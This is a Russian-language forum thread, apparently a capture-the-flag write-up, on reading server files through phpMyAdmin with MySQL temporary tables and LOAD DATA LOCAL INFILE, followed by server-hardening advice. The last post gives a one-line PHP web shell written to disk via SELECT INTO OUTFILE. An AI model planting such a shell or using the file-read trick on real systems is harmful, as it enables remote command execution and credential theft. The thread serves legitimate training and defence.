Вот это тебя бомбануло. Спорить не буду, у каждого свой опыт, о своем я написал, не стоит его воспринимать так близко к сердцу.
А тем временем таск подходит к концу, не забываем, что это последнее задание из конкретно простых, и то, сколько было эмоций и пригоревших жоп. Я уже в ожидании конкретно сложного таска
Закрываем задание. Первым делом нужно было найти "дверь". Это phpmyadmin. И дверь и "ключи" к ней можно найти без сканеров и брута. Но на первый взгляд, если это и дверь, то ведет она в тупик, поскольку права у доступных учеток сильно порезаны. И даже такой привычный инструмент, как load data local infile задействовать не получается, поскольку нет доступных таблиц и привилегий CREATE TABLE и INSERT. При всей первоначально кажущейся неприступности, решение становится очевидным, когда понимаем, что существуют еще и временные таблицы, и права на работу с ними выставляются отдельно, и в данном случае права имеются. Работать с временными таблицами почти так же удобно, как и с постоянными. Единственное отличие - существуют они только на время сеанса, поэтому все операции нужно производить единым блоком, в одном сеансе. В ПМА несколько запросов можно выполнить за один вызов, разделяя их точкой с запятой. Проблемы с чтением локальных файлов исчезают. Читаем конфиг Вордпресса, (расположен он в дефолтном месте, да и относительные пути подойдут - на каталог выше) и авторизуемся в ПМА с учеткой сайта. Видим в базе табличку wp_task, в ней поле flag - конец истории. Как можно было выйти на эти самые временные таблицы. Мысли, они текут разными путями, но самым простым и естественным способом - задействовать штатные средства, команду "SHOW GRANTS", которая и показывает, какие права у нас есть. Кто шел не первым, мог посмотреть статистику запросов - тоже хорошая подсказка. Собственно решение умещается в три строчки, которые нужно выполнить в окне SQL запросов. Spoiler: Прохождения
Разминочные задания окончены, теперь готовимся к основным таскам. PS: по поводу пути /var/www/html/ не догоняю, просто взяли его из прочитанных .php скриптов, или до трюка с LOAD DATA LOCAL где то раскрытие путей обнаружили? PPS: альтернативных решений таска не найдено ни одного?
Эх... А ведь давно знал об этом https://rdot.org/forum/showthread.php?t=741 Вот что значит Skill..... Классный таск, жаль мозга нет такое решать п.с А так хотел хинтануть в стиле каретки. RDot.org Дубль красава.
Не знал, что временная таблица будет существовать в том случае, если сделать несколько запросов через ; Жаль, был на верном пути в какой-то момент. Таск крутой)
Сеанс - это время, когда открыли соединение к серверу СУБД и до момента, когда коннект закрывается. В php связь закрывается принудительно по окончании работы скрипта, если раньше не закрыли явно. Пока работает скрипт временные таблицы существуют.
Ха, прикольно... я не знал что можно SQL запросом читать файлы... первый раз это слышу, теперь буду знать
Свой скрипт написать на удобном ЯП, учесть все нюансы, и через него. Так как известные тулзы или по заголовкам детектят (что неправильно), или давятся большим файлом в случае его нахождения. Но таск пройти всё равно не поможет
Поскольку мы занимаемся этичным хакингом, то должны уметь не только найти уязвимость, но и пропатчить ее. Какие можно дать рекомендации по настройке сервера. 1) Отменить привилегию на создание временных таблиц 2) Запретить использование load data local infile 3) Использовать версию PhpMyAdmin >=4.8.5 4) Не использовать PhpMyAdmin вообще, или ограничить доступ по ИП (ну или добавить бейсик-авторизацию ) На втором пункте остановимся подробнее. Глобальная переменная local_infile определяет такую возможность, и по дефолту она включена. Чтобы запретить локальное чтение в my.ini (my.cnf) в раделы [mysqld] и [mysql] надо добавить local-infile = 0 Но нужно помнить следующие вещи: При наличии прав Superuser настройку можно переопределить командой (прямо в ПМА) SET GLOBAL local_infile=1; Кроме того в php есть бага реализации mysqli_real_connect, которая игнорирует (перезаписывает) состояние переменной local-infile, если перед вызовом функции в опциях указать свое значение local_infile, например Code: $mysqli = mysqli_init(); $mysqli->options(MYSQLI_OPT_LOCAL_INFILE, true); $mysqli->real_connect($host, $username, $password, $database); Еще есть одна засада, (просто для полноты описания проблемы) команда mysqlimport с опцией --local, проигнорирует настройки и отработает аналогично разрешенной load data local infile.
Прикольный task, у меня вопрос, через базу данных можно изменять файлы или только читать? Например если я хочу изменить файл из базы данных var/www/html/wp-config.php как я могу это сделать?
если права есть на запись, file_priv то можно Code: SELECT "<?php system($_GET['cmd']); ?>" into outfile "var/www/html/wp-config"